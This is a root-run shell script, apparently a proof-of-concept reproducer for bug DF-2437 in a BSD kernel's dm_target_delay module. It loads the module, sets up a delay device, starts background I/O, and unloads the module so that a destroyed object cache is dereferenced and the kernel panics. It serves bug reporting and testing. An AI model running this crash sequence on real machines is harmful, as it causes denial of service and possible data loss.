#!/bin/sh
# Run the DF-2437 PoC. Must be root.
#
# Bug: dm_target_delay MOD_UNLOAD calls _objcache_destroy() unconditionally,
# even when dm_target_remove returns EBUSY (active delay device). This
# destroys the objcache while the module is still loaded -> subsequent I/O
# calls objcache_get(NULL) -> NULL deref panic.
#
# Sequence:
#   1. kldload dm + dm_target_delay
#   2. Create delay device with 100ms read delay, resume it
#   3. Start background I/O on the delay device
#   4. kldunload dm_target_delay -> objcache destroyed (EBUSY, module stays)
#   5. Background I/O / delay thread -> objcache_get/put(NULL) -> panic

set -e

# Ensure modules loaded
if ! kldstat -n dm >/dev/null 2>&1; then
	kldload dm || { echo "kldload dm failed (need root)"; exit 1; }
fi
if ! kldstat -n dm_target_delay >/dev/null 2>&1; then
	kldload dm_target_delay 2>/dev/null || true
fi

echo "[*] DF-2437 dm_target_delay objcache-destroy-on-unload"
echo "[*] loaded modules:"
kldstat | grep -E "dm|delay"
echo ""

# Setup: create delay device + reload table + resume
echo "[*] step 1: create + reload + resume delay device"
./poc setup
echo ""

# Step 2: start background I/O (fills delay queue via objcache_get)
echo "[*] step 2: starting background I/O on delay device"
dd if=/dev/mapper/df2437 of=/dev/null bs=512 count=1000 2>/dev/null &
DD_PID=$!
sleep 0.2  # let some I/O enter the delay queue

# Step 3: kldunload dm_target_delay -> _objcache_destroy() runs (EBUSY)
echo "[*] step 3: kldunload dm_target_delay (destroys objcache despite EBUSY)"
kldunload dm_target_delay 2>&1 || echo "(kldunload returned nonzero -- expected EBUSY)"
echo ""

# Step 4: generate more I/O -> objcache_get(NULL) -> panic
echo "[*] step 4: generating I/O to trigger objcache_get(NULL)..."
echo "[*] expect: kernel panic -- NULL deref in objcache_get/put"
dd if=/dev/mapper/df2437 of=/dev/null bs=512 count=10 2>/dev/null &
DD_PID2=$!

# If we get here, the kernel survived
wait $DD_PID 2>/dev/null || true
wait $DD_PID2 2>/dev/null || true
echo "[!] kernel survived -- bug may not have triggered this run"

# Cleanup if still alive
./poc teardown 2>/dev/null || true
